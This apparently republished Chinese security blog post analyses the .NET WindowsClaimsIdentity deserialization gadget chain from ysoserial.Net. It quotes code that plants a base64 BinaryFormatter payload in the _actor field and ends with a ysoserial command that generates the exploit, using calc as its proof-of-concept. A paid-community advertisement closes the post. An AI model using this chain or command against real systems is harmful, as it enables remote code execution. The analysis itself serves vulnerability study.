0x01 分析
WindowsClaimsIdentity类标记[Serializable]特性,并且继承于WindowsIdentity类,也实现了序列化接口ISerializable,签名如下
[Serializable]
public class WindowsClaimsIdentity : WindowsIdentity, IClaimsIdentity, IIdentity, ISerializable
它是.NET WIF身份验证框架的一部分,常用于在应用程序中管理和操作用户身份的信息,如用户名称、角色、权限等。提供添加、删除和查询声明的方法,以便在应用程序中使用这些声明进行身份验证和授权。
结合ysoserial.Net提供的实现代码,庖丁解牛一点点的解读,代码如下
IGenerator generator = new TextFormattingRunPropertiesGenerator();
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
if (variant_number == 2)
{
obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);
}
else if (variant_number == 3)
{
obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);
}
else
{
obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);
}
这里依旧使用TextFormattingRunProperties类生成基于XAML的攻击载荷,然后转成base64编码,为何要转换编码?我们继续看竟然有三处不同的if条件分支,很大可能存在三处不同的触发点,我们先跟踪WindowsClaimsIdentityMarshal_var1类,进入后发现也实现了ISerializable接口,那么意味着还存在序列化方法GetObjectData,果不其然签名如下
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsClaimsIdentity));
info.AddValue("_actor", B64Payload);
info.AddValue("m_userToken", new IntPtr(0));
info.AddValue("_label", null);
info.AddValue("_nameClaimType", null);
info.AddValue("_roleClaimType", null);
}
通过info.SetType设置WindowsClaimsIdentityMarshal_var1序列化过程中指定类型为WindowsClaimsIdentity,然后通过info.AddValue将恶意的攻击载荷赋值给WindowsClaimsIdentity类的_actor成员,跟踪进入WindowsClaimsIdentity类发现actor属性原来具备了Setter,并且在GetObjectData()方法内序列化m_userToken、_nameClaimType、_roleClaimType、_label、_actor等多个属性,如下图
WindowsClaimsIdentity被序列化对象时会进入自身的构造方法,调用Deserialize反序列化info对象,核心代码如下
protected WindowsClaimsIdentity(SerializationInfo info, StreamingContext context)
{
if (info == null){throw DiagnosticUtil.ExceptionUtil.ThrowHelperArgumentNull("info");}
Deserialize(info, context);
}
Deserialize方法内部对以上提到的属性反序列化,这里漏洞触发的核心在于通过claimsIdentitySerializer.DeserializeActor()序列化info对象里的_actor属性,如下图
DeserializeActor()内部通过序列化对象info.GetString方法获得_actor属性值,然后Convert.FromBase64String将传入的值解码,最后调用binaryFormatter.Deserialize完成反序列化。代码清单如下
public IClaimsIdentity DeserializeActor()
{
string @string = _info.GetString("_actor");
if (@string == null)
{
return null;
}
BinaryFormatter binaryFormatter = new BinaryFormatter(null, _context);
using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(@string));
return (IClaimsIdentity)binaryFormatter.Deserialize(serializationStream);
}
ysoserial.exe -f BinaryFormatter -g WindowsClaimsIdentity -c “calc” -t
星球优惠活动
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需99元就可以加入我们。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.
原文始发于微信公众号(dotNet安全矩阵):.NET ClaimsIdentity反序列化链(1) _actor